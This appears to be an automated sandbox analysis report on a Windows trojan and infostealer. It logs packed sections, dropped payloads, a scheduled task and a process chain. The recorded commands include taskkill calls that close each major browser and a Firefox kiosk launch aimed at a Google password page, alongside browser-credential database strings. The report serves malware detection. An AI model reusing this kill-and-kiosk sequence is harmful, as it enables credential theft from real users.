Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe.9.dr	Static PE information: section name: .idata
Source: 26e226f915.exe.9.dr	Static PE information: section name:
Source: 26e226f915.exe.9.dr	Static PE information: section name: .rsrc
Source: 26e226f915.exe.9.dr	Static PE information: section name: .idata
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.9.dr	Static PE information: section name: .idata
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: ef2532c0b1.exe.9.dr	Static PE information: section name:
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: .rsrc
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: .idata
Source: ef2532c0b1.exe.9.dr	Static PE information: section name:
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name:
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name: .idata
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name:
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name:
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: .rsrc
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: .idata
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name:
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name:
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name: .idata
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name:
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name: .idata
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.9.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B06AB1	0_3_00B06AB1
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Code function: 6_2_00C1F989	6_2_00C1F989
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Code function: 6_2_00C1F952	6_2_00C1F952
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Code function: 6_2_00C1F97E	6_2_00C1F97E
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Code function: 6_2_00C1FD52	6_2_00C1FD52
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00840228	11_2_00840228
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0086E8A0	11_2_0086E8A0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0087A0D0	11_2_0087A0D0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00842030	11_2_00842030
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0083A850	11_2_0083A850
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0083E1A0	11_2_0083E1A0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00835160	11_2_00835160
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00874A40	11_2_00874A40
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0083A300	11_2_0083A300
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00844487	11_2_00844487
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0084049B	11_2_0084049B
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00837CA4	11_2_00837CA4
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0085CCD0	11_2_0085CCD0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0085C470	11_2_0085C470
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00838590	11_2_00838590
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_008335B0	11_2_008335B0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0084C5F0	11_2_0084C5F0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0085FD10	11_2_0085FD10
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0083BEB0	11_2_0083BEB0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_00846EBF	11_2_00846EBF
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 11_2_0083AF10	11_2_0083AF10

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe 27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D

Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: String function: 0084D300 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00B17BAF appears 90 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995358910891089
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981426685967303
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: Section: wehliqok ZLIB complexity 0.9946593394995394
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: Section: letztgfz ZLIB complexity 0.9949451708038733
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9981426685967303
Source: skotes.exe.3.dr	Static PE information: Section: wehliqok ZLIB complexity 0.9946593394995394
Source: random[1].exe.9.dr	Static PE information: Section: ZLIB complexity 0.9995358910891089
Source: 26e226f915.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9995358910891089
Source: random[1].exe0.9.dr	Static PE information: Section: letztgfz ZLIB complexity 0.9949451708038733
Source: ef2532c0b1.exe.9.dr	Static PE information: Section: letztgfz ZLIB complexity 0.9949451708038733
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9981426685967303
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: Section: wehliqok ZLIB complexity 0.9946593394995394
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: Section: letztgfz ZLIB complexity 0.9949451708038733
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: Section: ZLIB complexity 0.9981426685967303
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: Section: wehliqok ZLIB complexity 0.9946593394995394

Source: 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2408818591.00000000004A1000.00000040.00000001.01000000.00000009.sdmp, 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000003.2368421842.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, ef2532c0b1.exe, 0000000C.00000002.3013087261.0000000000041000.00000040.00000001.01000000.00000010.sdmp, ef2532c0b1.exe, 0000000C.00000003.2972676425.00000000052C0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/30@104/12

Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\9GL3FFP2.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6648:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1080:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4616:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6700:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5024:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT fieldname, value FROM moz_formhistory;s
Source: file.exe, 00000000.00000003.2156705356.0000000005749000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156338452.0000000005767000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048188721.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3048821838.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3069889044.0000000005E43000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3154199825.000000000597A000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3152191548.0000000005998000.00000004.00000800.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3175476349.0000000005994000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: ST44OD0PMG8MCMYJRN4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: ef2532c0b1.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe "C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe "C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe"
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe "C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe "C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe "C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe"
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a09107fa-2b02-4b88-8d3f-d1bbd3ed1ba2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 170f356e110 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001229001\num.exe "C:\Users\user\AppData\Local\Temp\1001229001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4340 -parentBuildID 20230927232528 -prefsHandle 4348 -prefMapHandle 4344 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {98d7e8a7-213f-46a0-8d10-1ac585e34cc2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 17083a29810 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe "C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe "C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe"
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe "C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe"
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe "C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001229001\num.exe "C:\Users\user\AppData\Local\Temp\1001229001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe "C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe"
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe "C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe "C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe "C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe "C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe "C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe "C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe "C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001229001\num.exe "C:\Users\user\AppData\Local\Temp\1001229001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe "C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe"
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe "C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe"
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe "C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe"
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2276 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a09107fa-2b02-4b88-8d3f-d1bbd3ed1ba2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 170f356e110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4340 -parentBuildID 20230927232528 -prefsHandle 4348 -prefMapHandle 4344 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {98d7e8a7-213f-46a0-8d10-1ac585e34cc2} 5012 "\\.\pipe\gecko-crash-server-pipe.5012" 17083a29810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Process created: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe "C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe"
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
